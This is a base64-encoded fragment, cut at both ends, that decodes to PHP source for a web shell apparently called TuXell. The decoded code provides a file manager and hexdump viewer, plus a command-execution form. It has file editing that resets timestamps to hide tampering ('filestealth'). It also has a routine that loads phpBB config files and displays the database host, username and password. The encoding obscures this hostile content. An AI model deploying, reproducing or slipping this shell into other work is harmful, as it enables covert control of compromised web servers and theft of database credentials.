IjwvdGQ+Ijt9IAogICBlY2hvICI8L3RyPiI7IAogIH0gCiAgZWNobyAiPC90YWJsZT4iOyAKIH0gCn0gCmlmICgkeHR1eCA9PSAiZiIpIAp7IAogaWYgKCghaXNfcmVhZGFibGUoJGQuJGYpIG9yIGlzX2RpcigkZC4kZikpIGFuZCAkZnQgIT0gImVkaXQiKSAKICAgICB7IAoJaWYgKGZpbGVfZXhpc3RzKCRkLiRmKSkgewoJZWNobyAiPGNlbnRlcj5QZXJtaXNpb24gZGVuaWVkICgiLmh0bWxzcGVjaWFsY2hhcnMoJGQuJGYpLiIpITwvY2VudGVyPiI7CiAgICAgfSBlbHNlIHsKZWNobyAiPGNlbnRlcj5GaWxlIGRvZXMgbm90IGV4aXN0cyAoIi5odG1sc3BlY2lhbGNoYXJzKCRkLiRmKS4iKSE8YnIgLz48YSBocmVmPVwiIi4kc3VybC4ieHR1eD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9ZWRpdCZkPSIudXJsZW5jb2RlKCRkKS4iJmM9MVwiPjx1PkNyZWF0ZTwvdT48L2E+PC9jZW50ZXI+Ijt9IAp9IGVsc2UgeyAKJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYpOyAKJGV4dCA9IGV4cGxvZGUoIi4iLCRmKTsgCiRjID0gY291bnQoJGV4dCktMTsgCiRleHQgPSAkZXh0WyRjXTsgCiRleHQgPSBzdHJ0b2xvd2VyKCRleHQpOyAKJHJmdCA9ICIiOyAKCWZvcmVhY2goJGZ0eXBlcyBhcyAkaz0+JHYpIHtpZiAoaW5fYXJyYXkoJGV4dCwkdikpIHskcmZ0ID0gJGs7IGJyZWFrO319IAoJaWYgKGVyZWdpKCJzZXNzXyguKikiLCRmKSkgeyRyZnQgPSAicGhwc2VzcyI7fSAKCWlmIChlbXB0eSgkZnQpKSB7JGZ0ID0gJHJmdDt9IAokYXJyID0gYXJyYXkoIAoJYXJyYXkoIkluZm8iLCJpbmZvIiksIAoJYXJyYXkoIkhUTUwiLCJodG1sIiksIAoJYXJyYXkoIlRYVCIsInR4dCIpLCAKCWFycmF5KCJDb2RlIiwiY29kZSIpLCAKCWFycmF5KCJTZXNzaW9uIiwicGhwc2VzcyIpLCAKCWFycmF5KCJFWEUiLCJleGUiKSwgCglhcnJheSgiU0RCIiwic2RiIiksIAoJYXJyYXkoIklNRyIsImltZyIpLCAKCWFycmF5KCJJTkkiLCJpbmkiKSwgCglhcnJheSgiRG93bmxvYWQiLCJkb3dubG9hZCIpLCAKCWFycmF5KCJOb3RlcGFkIiwibm90ZXBhZCIpLCAKCWFycmF5KCJFZGl0IiwiZWRpdCIpIAopOyAKICBlY2hvICJWaWV3aW5nIGZpbGU6IDxmb250IGNvbG9yPSMwMGZmMDA+WyAiLiRleHQuIiBmb3JtYXQgXTwvZm9udD4gPSZndDsgIi4kZi4iICgiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiIpIi52aWV3X3Blcm1zX2NvbG9yKCRkLiRmKS4iPGJyIC8+U2VsZWN0IGFjdGlvbi9maWxlLXR5cGU6PGJyIC8+IjsgCiAgZm9yZWFjaCgkYXJyIGFzICR0KSAKICB7IAogICBpZiAoJHRbMV0gPT0gJHJmdCkgewoJZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJ4dHV4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjxmb250IGNvbG9yPWdyZWVuPiIuJHRbMF0uIjwvZm9udD48L2E+IjsKCX0gCiAgIGVsc2VpZiAoJHRbMV0gPT0gJGZ0KSB7ZWNobyAiIDxhIGhyZWY9XCIiLiRzdXJsLiJ4dHV4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD0iLiR0WzFdLiImZD0iLnVybGVuY29kZSgkZCkuIlwiPjx1PiIuJHRbMF0uIjwvdT48L2E+IjsKCX0gZWxzZSB7CgllY2hvICIgPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZkPSIudXJsZW5jb2RlKCRkKS4iXCI+Ii4kdFswXS4iPC9hPiI7fSAKCWVjaG8gIiAoPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PSIuJHRbMV0uIiZ3aGl0ZT0xJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIiB0YXJnZXQ9XCJfYmxhbmtcIj4rPC9hPikgfCI7IAogIH0gCiAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOyAKICBpZiAoJGZ0ID09ICJpbmZvIikgCiAgeyAKZWNobyAiSW5mb3JtYXRpb246PHRhYmxlIGJvcmRlcj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9Mj48dHI+PHRkPlBhdGg8L3RkPjx0ZD4gIi4kZC4kZi4iPC90ZD48L3RyPjx0cj48dGQ+U2l6ZTwvdGQ+PHRkPiAiLnZpZXdfc2l6ZShmaWxlc2l6ZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD5NRDU8L3RkPjx0ZD4gIi5tZDVfZmlsZSgkZC4kZikuIjwvdGQ+PC90cj4iOyAKICAgaWYgKCEkd2luKSAKICAgeyAKICAgIGVjaG8gIjx0cj48dGQ+T3duZXIvR3JvdXA8L3RkPjx0ZD4gIjsgICAgIAogICAgJG93ID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCRkLiRmKSk7IAogICAgJGdyID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRkLiRmKSk7IAogICAgZWNobyAoJG93WyJuYW1lIl0/JG93WyJuYW1lIl06ZmlsZW93bmVyKCRkLiRmKSkuIi8iLigkZ3JbIm5hbWUiXT8kZ3JbIm5hbWUiXTpmaWxlZ3JvdXAoJGQuJGYpKTsgCiAgIH0gCiAgIGVjaG8gIjx0cj48dGQ+UGVybXM8L3RkPjx0ZD48YSBocmVmPVwiIi4kc3VybC4ieHR1eD1jaG1vZCZmPSIudXJsZW5jb2RlKCRmKS4iJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4iLnZpZXdfcGVybXNfY29sb3IoJGQuJGYpLiI8L2E+PC90ZD48L3RyPjx0cj48dGQ+Q3JlYXRlIHRpbWU8L3RkPjx0ZD4gIi5kYXRlKCJkL20vWSBIOmk6cyIsZmlsZWN0aW1lKCRkLiRmKSkuIjwvdGQ+PC90cj48dHI+PHRkPkFjY2VzcyB0aW1lPC90ZD48dGQ+ICIuZGF0ZSgiZC9tL1kgSDppOnMiLGZpbGVhdGltZSgkZC4kZikpLiI8L3RkPjwvdHI+PHRyPjx0ZD5NT0RJRlkgdGltZTwvdGQ+PHRkPiAiLmRhdGUoImQvbS9ZIEg6aTpzIixmaWxlbXRpbWUoJGQuJGYpKS4iPC90ZD48L3RyPjwvdGFibGU+PGJyPiI7IAogICAkZmkgPSBmb3BlbigkZC4kZiwicmIiKTsgCiAgIGlmICgkZmkpIAogICB7IAogICAgaWYgKCRmdWxsaGV4ZHVtcCkge2VjaG8gIkZVTEwgSEVYRFVNUCI7ICRzdHIgPSBmcmVhZCgkZmksZmlsZXNpemUoJGQuJGYpKTsgfSBlbHNlIHsKCWVjaG8gIkhFWERVTVAgUFJFVklFVyI7ICRzdHIgPSBmcmVhZCgkZmksJGhleGR1bXBfbGluZXMqJGhleGR1bXBfcm93cyk7fSAKICAgICRuID0gMDsgCiAgICAkYTAgPSAiMDAwMDAwMDA8YnIgLz4iOyAKICAgICRhMSA9ICIiOyAKICAgICRhMiA9ICIiOyAKICAgIGZvciAoJGk9MDsgJGk8c3RybGVuKCRzdHIpOyAkaSsrKSAKICAgIHsgCiAgICAgJGExIC49IHNwcmludGYoIiUwMlgiLG9yZCgkc3RyWyRpXSkpLiIgIjsgCiAgICAgc3dpdGNoIChvcmQoJHN0clskaV0pKSAKICAgICB7IAogICAgICBjYXNlIDA6ICAkYTIgLj0gIjxmb250PjA8L2ZvbnQ+IjsgYnJlYWs7IAogICAgICBjYXNlIDMyOiAKICAgICAgY2FzZSAxMDogCiAgICAgIGNhc2UgMTM6ICRhMiAuPSAiJm5ic3A7IjsgYnJlYWs7IAogICAgICBkZWZhdWx0OiAkYTIgLj0gaHRtbHNwZWNpYWxjaGFycygkc3RyWyRpXSk7IAogICAgIH0gCiAgICAgJG4rKzsgCiAgICAgaWYgKCRuID09ICRoZXhkdW1wX3Jvd3MpIAogICAgIHsgCiAgICAgICRuID0gMDsgCiAgICAgIGlmICgkaSsxIDwgc3RybGVuKCRzdHIpKSB7JGEwIC49IHNwcmludGYoIiUwOFgiLCRpKzEpLiI8YnI+Ijt9IAogICAgICAkYTEgLj0gIjxicj4iOyAKICAgICAgJGEyIC49ICI8YnI+IjsgCiAgICAgfSAKICAgIH0gCiAgICAvL2lmICgkYTEgIT0gIiIpIHskYTAgLj0gc3ByaW50ZigiJTA4WCIsJGkpLiI8YnIgLz4iO30gCiAgICBlY2hvICI8dGFibGUgYm9yZGVyPTAgYmdjb2xvcj10cmFuc3BhcmVudCBjZWxsc3BhY2luZz0xIGNlbGxwYWRkaW5nPTQ+PHRyPjx0ZCBiZ2NvbG9yPSM2NjY2NjY+Ii4kYTAuIjwvdGQ+PHRkIGJnY29sb3I9MDAwMDAwPiIuJGExLiI8L3RkPjx0ZCBiZ2NvbG9yPXRyYW5zcGFyZW50PiIuJGEyLiI8L3RkPjwvdHI+PC90YWJsZT48YnIgLz4iOyAKICAgfSAKICAgJGVuY29kZWQgPSAiIjsgCiAgIGlmICgkYmFzZTY0ID09IDEpIAogICB7IAogICAgZWNobyAiQmFzZTY0IEVuY29kZTxicj4iOyAKICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOyAKICAgfSAKICAgZWxzZWlmKCRiYXNlNjQgPT0gMikgCiAgIHsgCiAgICBlY2hvICJCYXNlNjQgRW5jb2RlICsgQ2h1bms8YnI+IjsgCiAgICAkZW5jb2RlZCA9IGNodW5rX3NwbGl0KGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJGQuJGYpKSk7IAogICB9IAogICBlbHNlaWYoJGJhc2U2NCA9PSAzKSAKICAgeyAKICAgIGVjaG8gIkJhc2U2NCBFbmNvZGUgKyBDaHVuayArIFF1b3Rlczxicj4iOyAKICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZShmaWxlX2dldF9jb250ZW50cygkZC4kZikpOyAKICAgICRlbmNvZGVkID0gc3Vic3RyKHByZWdfcmVwbGFjZSgiIS57MSw3Nn0hIiwiJ1xcMCcuXG4iLCRlbmNvZGVkKSwwLC0yKTsgCiAgIH0gCiAgIGVsc2VpZigkYmFzZTY0ID09IDQpIAogICB7IAogICAgJHRleHQgPSBmaWxlX2dldF9jb250ZW50cygkZC4kZik7IAogICAgJGVuY29kZWQgPSBiYXNlNjRfZGVjb2RlKCR0ZXh0KTsgCiAgICBlY2hvICJCYXNlNjQgRGVjb2RlIjsgCiAgICBpZiAoYmFzZTY0X2VuY29kZSgkZW5jb2RlZCkgIT0gJHRleHQpIHtlY2hvICIgKGZhaWxlZCkiO30gCiAgICBlY2hvICI8YnI+IjsgCiAgIH0gCiAgIGlmICghZW1wdHkoJGVuY29kZWQpKSAKICAgeyAKICAgIGVjaG8gIjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRlbmNvZGVkKS4iPC90ZXh0YXJlYT48YnI+PGJyPiI7IAogICB9IAogICBlY2hvICJIRVhEVU1QOjxub2JyPiBbPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mZnVsbGhleGR1bXA9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RnVsbDwvYT5dIFs8YSBocmVmPVwiIi4kc3VybC4ieHR1eD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZkPSIudXJsZW5jb2RlKCRkKS4iXCI+UHJldmlldzwvYT5dPGJyIC8+QmFzZTY0OiAgCjxub2JyPls8YSBocmVmPVwiIi4kc3VybC4ieHR1eD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW5mbyZiYXNlNjQ9MSZkPSIudXJsZW5jb2RlKCRkKS4iXCI+RW5jb2RlPC9hPl0gPC9ub2JyPiAKPG5vYnI+WzxhIGhyZWY9XCIiLiRzdXJsLiJ4dHV4PWYmZj0iLnVybGVuY29kZSgkZikuIiZmdD1pbmZvJmJhc2U2ND0yJmQ9Ii51cmxlbmNvZGUoJGQpLiJcIj4rY2h1bms8L2E+XSA8L25vYnI+IAo8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTMmZD0iLnVybGVuY29kZSgkZCkuIlwiPitjaHVuaytxdW90ZXM8L2E+XSA8L25vYnI+IAo8bm9icj5bPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWluZm8mYmFzZTY0PTQmZD0iLnVybGVuY29kZSgkZCkuIlwiPkRlY29kZTwvYT5dIDwvbm9icj4gCjxQPiI7IAogIH0gCiAgZWxzZWlmICgkZnQgPT0gImh0bWwiKSAKICB7IAogICBpZiAoJHdoaXRlKSB7QG9iX2NsZWFuKCk7fSAKICAgZWNobyAkcjsgCiAgIGlmICgkd2hpdGUpIHtUdVhleGl0KCk7fSAKICB9IAogIGVsc2VpZiAoJGZ0ID09ICJ0eHQiKSB7ZWNobyAiPHByZT4iLmh0bWxzcGVjaWFsY2hhcnMoJHIpLiI8L3ByZT4iO30gCiAgZWxzZWlmICgkZnQgPT0gImluaSIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHBhcnNlX2luaV9maWxlKCRkLiRmLFRSVUUpKTsgZWNobyAiPC9wcmU+Ijt9IAogIGVsc2VpZiAoJGZ0ID09ICJwaHBzZXNzIikgCiAgeyAKICAgZWNobyAiPHByZT4iOyAKICAgJHYgPSBleHBsb2RlKCJ8Iiwkcik7IAogICBlY2hvICR2WzBdLiI8YnI+IjsgCiAgIHZhcl9kdW1wKHVuc2VyaWFsaXplKCR2WzFdKSk7IAogICBlY2hvICI8L3ByZT4iOyAKICB9IAogIGVsc2VpZiAoJGZ0ID09ICJleGUiKSAKICB7IAogICAkZXh0ID0gZXhwbG9kZSgiLiIsJGYpOyAKICAgJGMgPSBjb3VudCgkZXh0KS0xOyAKICAgJGV4dCA9ICRleHRbJGNdOyAKICAgJGV4dCA9IHN0cnRvbG93ZXIoJGV4dCk7IAogICAkcmZ0ID0gIiI7IAogICBmb3JlYWNoKCRleGVmdHlwZXMgYXMgJGs9PiR2KSAKICAgeyAKICAgIGlmIChpbl9hcnJheSgkZXh0LCR2KSkgeyRyZnQgPSAkazsgYnJlYWs7fSAKICAgfSAKICAgJGNtZCA9IHN0cl9yZXBsYWNlKCIlZiUiLCRmLCRyZnQpOyAKICAgZWNobyAiRXhlY3V0ZSBmaWxlOjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXh0dXggdmFsdWU9Y21kPjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJjbWRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkY21kKS4iXCIgc2l6ZT1cIiIuKHN0cmxlbigkY21kKSsyKS4iXCI+PGJyPkRpc3BsYXkgaW4gdGV4dC1hcmVhPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIG5hbWU9XCJjbWRfdHh0XCIgdmFsdWU9XCIxXCIgY2hlY2tlZD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1cImRcIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkZCkuIlwiPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCJFeGVjdXRlXCI+PC9mb3JtPiI7IAogIH0gCiAgZWxzZWlmICgkZnQgPT0gInNkYiIpIHtlY2hvICI8cHJlPiI7IHZhcl9kdW1wKHVuc2VyaWFsaXplKGJhc2U2NF9kZWNvZGUoJHIpKSk7IGVjaG8gIjwvcHJlPiI7fSAKICBlbHNlaWYgKCRmdCA9PSAiY29kZSIpIAogIHsgCiAgIGlmIChlcmVnKCJwaHAiLiJCQiAyLiguKikgYXV0by1nZW5lcmF0ZWQgY29uZmlnIGZpbGUiLCRyKSkgCiAgIHsgCiAgICAkYXJyID0gZXhwbG9kZSgiXG4iLCRyKTsgCiAgICBpZiAoY291bnQoJGFyciA9PSAxOCkpIAogICAgeyAKICAgICBpbmNsdWRlKCRkLiRmKTsgCiAgICAgZWNobyAicGhwQkIgY29uZmlndXJhdGlvbiBpcyBkZXRlY3RlZCBpbiB0aGlzIGZpbGUhPGJyPiI7IAogICAgIGlmICgkZGJtcyA9PSAibXlzcWw0IikgeyRkYm1zID0gIm15c3FsIjt9IAogICAgIGlmICgkZGJtcyA9PSAibXlzcWwiKSB7ZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuImFjdD1zcWwmc3FsX3NlcnZlcj0iLmh0bWxzcGVjaWFsY2hhcnMoJGRiaG9zdCkuIiZzcWxfbG9naW49Ii5odG1sc3BlY2lhbGNoYXJzKCRkYnVzZXIpLiImc3FsX3Bhc3N3ZD0iLmh0bWxzcGVjaWFsY2hhcnMoJGRicGFzc3dkKS4iJnNxbF9wb3J0PTMzMDYmc3FsX2RiPSIuaHRtbHNwZWNpYWxjaGFycygkZGJuYW1lKS4iXCI+PHU+Q29ubmVjdCB0byBEQjwvdT48L2E+PGJyPjxicj4iO30gCiAgICAgZWxzZSB7ZWNobyAiQnV0LCB5b3UgY2FuJ3QgY29ubmVjdCB0byBmb3J1bSBzcWwtYmFzZSwgYmVjYXVzZSBkYi1zb2Z0d2FyZT1cIiIuJGRibXMuIlwiIGlzIG5vdCBzdXBwb3J0ZWQgYnkgVHVYZWxsLiBQbGVhc2UsIHJlcG9ydCB1cyBmb3IgZml4LiI7fSAKICAgICBlY2hvICJQYXJhbWV0ZXJzIGZvciBtYW51YWwgY29ubmVjdDo8YnI+IjsgCiAgICAgJGNmZ3ZhcnMgPSBhcnJheSgiZGJtcyI9PiRkYm1zLCJkYmhvc3QiPT4kZGJob3N0LCJkYm5hbWUiPT4kZGJuYW1lLCJkYnVzZXIiPT4kZGJ1c2VyLCJkYnBhc3N3ZCI9PiRkYnBhc3N3ZCk7IAogICAgIGZvcmVhY2ggKCRjZmd2YXJzIGFzICRrPT4kdikge2VjaG8gaHRtbHNwZWNpYWxjaGFycygkaykuIj0nIi5odG1sc3BlY2lhbGNoYXJzKCR2KS4iJzxicj4iO30gCiAgICAgZWNobyAiPGhyIHNpemU9XCIxXCIgbm9zaGFkZT4iOyAKICAgIH0gCiAgIH0gCiAgIGVjaG8gIjxkaXYgc3R5bGU9XCJib3JkZXIgOiAwcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDFlbTsgbWFyZ2luLXJpZ2h0OiAxZW07IG1hcmdpbi1sZWZ0OiAxZW07IGJhY2tncm91bmQtY29sb3I6ICIuJGhpZ2hsaWdodF9iYWNrZ3JvdW5kIC4iO1wiPiI7IAogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtAb2JfY2xlYW4oKTt9IAogICBoaWdobGlnaHRfZmlsZSgkZC4kZik7IAogICBpZiAoIWVtcHR5KCR3aGl0ZSkpIHtUdVhleGl0KCk7fSAKICAgZWNobyAiPC9kaXY+IjsgCiAgfSAKICBlbHNlaWYgKCRmdCA9PSAiZG93bmxvYWQiKSAKICB7IAogICBAb2JfY2xlYW4oKTsgCiAgIGhlYWRlcigiQ29udGVudC10eXBlOiBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0iKTsgCiAgIGhlYWRlcigiQ29udGVudC1sZW5ndGg6ICIuZmlsZXNpemUoJGQuJGYpKTsgCiAgIGhlYWRlcigiQ29udGVudC1kaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9XCIiLiRmLiJcIjsiKTsgCiAgIGVjaG8gJHI7IAogICBleGl0OyAKICB9IAogIGVsc2VpZiAoJGZ0ID09ICJub3RlcGFkIikgCiAgeyAKICAgQG9iX2NsZWFuKCk7IAogICBoZWFkZXIoIkNvbnRlbnQtdHlwZTogdGV4dC9wbGFpbiIpOyAKICAgaGVhZGVyKCJDb250ZW50LWRpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1cIiIuJGYuIi50eHRcIjsiKTsgCiAgIGVjaG8oJHIpOyAKICAgZXhpdDsgCiAgfSAKICBlbHNlaWYgKCRmdCA9PSAiaW1nIikgCiAgeyAKICAgJGluZiA9IGdldGltYWdlc2l6ZSgkZC4kZik7IAogICBpZiAoISR3aGl0ZSkgCiAgIHsgCiAgICBpZiAoZW1wdHkoJGltZ3NpemUpKSB7JGltZ3NpemUgPSAyMDt9IAogICAgJHdpZHRoID0gJGluZlswXS8xMDAqJGltZ3NpemU7IAogICAgJGhlaWdodCA9ICRpbmZbMV0vMTAwKiRpbWdzaXplOyAKICAgIGVjaG8gIjxjZW50ZXI+U2l6ZTombmJzcDsiOyAKICAgICRzaXplcyA9IGFycmF5KCIxMDAiLCI1MCIsIjIwIik7IAogICAgZm9yZWFjaCAoJHNpemVzIGFzICR2KSAKICAgIHsgCiAgICAgZWNobyAiPGEgaHJlZj1cIiIuJHN1cmwuInh0dXg9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWltZyZkPSIudXJsZW5jb2RlKCRkKS4iJmltZ3NpemU9Ii4kdi4iXCI+IjsgCiAgICAgaWYgKCRpbWdzaXplICE9ICR2ICkge2VjaG8gJHY7IH0gZWxzZSB7CgllY2hvICI8dT4iLiR2LiI8L3U+Ijt9IAogICAgIGVjaG8gIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsiOyAKICAgIH0gCiAgICBlY2hvICI8YnI+PGJyPjxpbWcgc3JjPVwiIi4kc3VybC4ieHR1eD1mJmY9Ii51cmxlbmNvZGUoJGYpLiImZnQ9aW1nJndoaXRlPTEmZD0iLnVybGVuY29kZSgkZCkuIlwiIHdpZHRoPVwiIi4kd2lkdGguIlwiIGhlaWdodD1cIiIuJGhlaWdodC4iXCIgYm9yZGVyPVwiMVwiPjwvY2VudGVyPiI7IAoJfSBlbHNlIHsgCiAgICBAb2JfY2xlYW4oKTsgCiAgICAkZXh0ID0gZXhwbG9kZSgkZiwiLiIpOyAKICAgICRleHQgPSAkZXh0W2NvdW50KCRleHQpLTFdOyAKICAgIGhlYWRlcigiQ29udGVudC10eXBlOiAiLiRpbmZbIm1pbWUiXSk7IAogICAgcmVhZGZpbGUoJGQuJGYpOyAKICAgIGV4aXQ7IAogICB9IAogIH0gCiAgZWxzZWlmICgkZnQgPT0gImVkaXQiKSAKICB7IAogICBpZiAoIWVtcHR5KCRzdWJtaXQpKSAKICAgeyAKICAgIGlmICgkZmlsZXN0ZWFsdGgpIHskc3RhdCA9IHN0YXQoJGQuJGYpO30gCiAgICAkZnAgPSBmb3BlbigkZC4kZiwidyIpOyAKICAgIGlmICghJGZwKSB7ZWNobyAiQ2FuJ3Qgd3JpdGUgdG8gZmlsZSEiOyB9IGVsc2UgeyAKICAgICBlY2hvICJTYXZlZCEiOyAKICAgICBmd3JpdGUoJGZwLCRlZGl0X3RleHQpOyAKICAgICBmY2xvc2UoJGZwKTsgCiAgICAgaWYgKCRmaWxlc3RlYWx0aCkge3RvdWNoKCRkLiRmLCRzdGF0WzldLCRzdGF0WzhdKTt9IAogICAgICRyID0gJGVkaXRfdGV4dDsgCiAgICB9IAogICB9IAogICAkcm93cyA9IGNvdW50KGV4cGxvZGUoIlxyXG4iLCRyKSk7IAogICBpZiAoJHJvd3MgPCAxMCkgeyRyb3dzID0gMTA7fSAKICAgaWYgKCRyb3dzID4gMzApIHskcm93cyA9IDMwO30gCiAgIGVjaG8gIjxmb3JtIGFjdGlvbj1cIiIuJHN1cmwuInh0dXg9ZiZmPSIudXJsZW5jb2RlKCRmKS4iJmZ0PWVkaXQmZD0iLnVybGVuY29kZSgkZCkuIlwiIG1ldGhvZD1QT1NUPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIlNhdmVcIj4mbmJzcDs8aW5wdXQgdHlwZT1cInJlc2V0XCIgdmFsdWU9XCJSZXNldFwiPiZuYnNwOzxpbnB1dCB0eXBlPVwiYnV0dG9uXCIgb25jbGljaz1cImxvY2F0aW9uLmhyZWY9JyIuYWRkc2xhc2hlcygkc3VybC4ieHR1eD1scyZkPSIuc3Vic3RyKCRkLDAsLTEpKS4iJztcIiB2YWx1ZT1cIkJhY2tcIj48YnI+PHRleHRhcmVhIG5hbWU9XCJlZGl0X3RleHRcIiBjb2xzPVwiMTIyXCIgcm93cz1cIiIuJHJvd3MuIlwiPiIuaHRtbHNwZWNpYWxjaGFycygkcikuIjwvdGV4dGFyZWE+PC9mb3JtPiI7IH0gZWxzZWlmICghZW1wdHkoJGZ0KSkge2VjaG8gIjxjZW50ZXI+TWFudWFsbHkgc2VsZWN0ZWQgdHlwZSBpcyBpbmNvcnJlY3QuIElmIHlvdSB0aGluaywgaXQgaXMgbWlzdGFrZSwgcGxlYXNlIHNlbmQgdXMgdXJsIGFuZCBkdW1wIG9mIFwkR0xPQkFMUy48L2NlbnRlcj4iOyB9IGVsc2UgewplY2hvICI8Y2VudGVyPlVua25vd24gZXh0ZW5zaW9uICgiLiRleHQuIiksIHBsZWFzZSwgc2VsZWN0IHR5cGUgbWFudWFsbHkuPC9jZW50ZXI+Ijt9IAogfSAKfSAKfSBlbHNlIHsgCiBAb2JfY2xlYW4oKTsgCiAkaW1hZ2VzID0gYXJyYXkoIAoiMHg5OWIiPT4iIiwKImFycm93X2x0ciI9PiIiLCJiYWNrIj0+IiIsImJ1ZmZlciI9PiIiLCJjaGFuZ2UiPT4iIiwiZGVsZXRlIj0+IiIsImRvd25sb2FkIj0+IiIsImZvcndhcmQiPT4iIiwKImhvbWUiPT4iIiwibW9kZSI9PiIiLCJyZWZyZXNoIj0+IiIsInNlYXJjaCI9PiIiLCJzZXR1cCI9PiIiLCJzbWFsbF9kaXIiPT4iIiwKInNtYWxsX3VuayI9PiIiLCJtdWx0aXBhZ2UiPT4iIiwic29ydF9hc2MiPT4iIiwic29ydF9kZXNjIj0+IiIsInNxbF9idXR0b25fZHJvcCI9PiIiLAoic3FsX2J1dHRvbl9lbXB0eSI9PiIiLCJzcWxfYnV0dG9uX2luc2VydCI9PiIiLCJ1cCI9PiIiLCJ3cml0ZSI9PiIiLCJleHRfYXNwIj0+IiIsImV4dF9tcDMiPT4iIiwKImV4dF9hdmkiPT4iIiwiZXh0X2NnaSI9PiIiLCJleHRfY21kIj0+IiIsImV4dF9jcHAiPT4iIiwiZXh0X2luaSI9PiIiLCJleHRfZGl6Ij0+IiIsCiJleHRfZG9jIj0+IiIsImV4dF9leGUiPT4iIiwiZXh0X2giPT4iIiwiZXh0X2hwcCI9PiIiLCJleHRfaHRhY2Nlc3MiPT4iIiwKImV4dF9odG1sIj0+IiIsImV4dF9qcGciPT4iIiwiZXh0X2pzIj0+IiIsImV4dF9sbmsiPT4iIiwiZXh0X2xvZyI9PiIiLCJleHRfcGhwIj0+IiIsCiJleHRfcGwiPT4iIiwiZXh0X3N3ZiI9PiIiLCJleHRfdGFyIj0+IiIsImV4dF90eHQiPT4iIiwiZXh0X3dyaSI9PiIiLCJleHRfeG1sIj0+IiIKKTsKIC8vRm9yIHNpbXBsZSBzaXplLSBhbmQgc3BlZWQtb3B0aW1pemF0aW9uLiAKICRpbWdlcXVhbHMgPSBhcnJheSggCiAgImV4dF90YXIiPT5hcnJheSgiZXh0X3RhciIsImV4dF9yMDAiLCJleHRfYWNlIiwiZXh0X2FyaiIsImV4dF9ieiIsImV4dF9iejIiLCJleHRfdGJ6IiwiZXh0X3RiejIiLCJleHRfdGd6IiwiZXh0X3V1IiwiZXh0X3h4ZSIsImV4dF96aXAiLCJleHRfY2FiIiwiZXh0X2d6IiwiZXh0X2lzbyIsImV4dF9saGEiLCJleHRfbHpoIiwiZXh0X3BiayIsImV4dF9yYXIiLCJleHRfdXVmIiksIAogICJleHRfcGhwIj0+YXJyYXkoImV4dF9waHAiLCJleHRfcGhwMyIsImV4dF9waHA0IiwiZXh0X3BocDUiLCJleHRfcGh0bWwiLCJleHRfc2h0bWwiLCJleHRfaHRtIiksIAogICJleHRfanBnIj0+YXJyYXkoImV4dF9qcGciLCJleHRfZ2lmIiwiZXh0X3BuZyIsImV4dF9qcGVnIiwiZXh0X2pmaWYiLCJleHRfanBlIiwiZXh0X2JtcCIsImV4dF9pY28iLCJleHRfdGlmIiwidGlmZiIpLCAKICAiZXh0X2h0bWwiPT5hcnJheSgiZXh0X2h0bWwiLCJleHRfaHRtIiksIAogICJleHRfYXZpIj0+YXJyYXkoImV4dF9hdmkiLCJleHRfbW92IiwiZXh0X212aSIsImV4dF9tcGciLCJleHRfbXBlZyIsImV4dF93bXYiLCJleHRfcm0iKSwgCiAgImV4dF9sbmsiPT5hc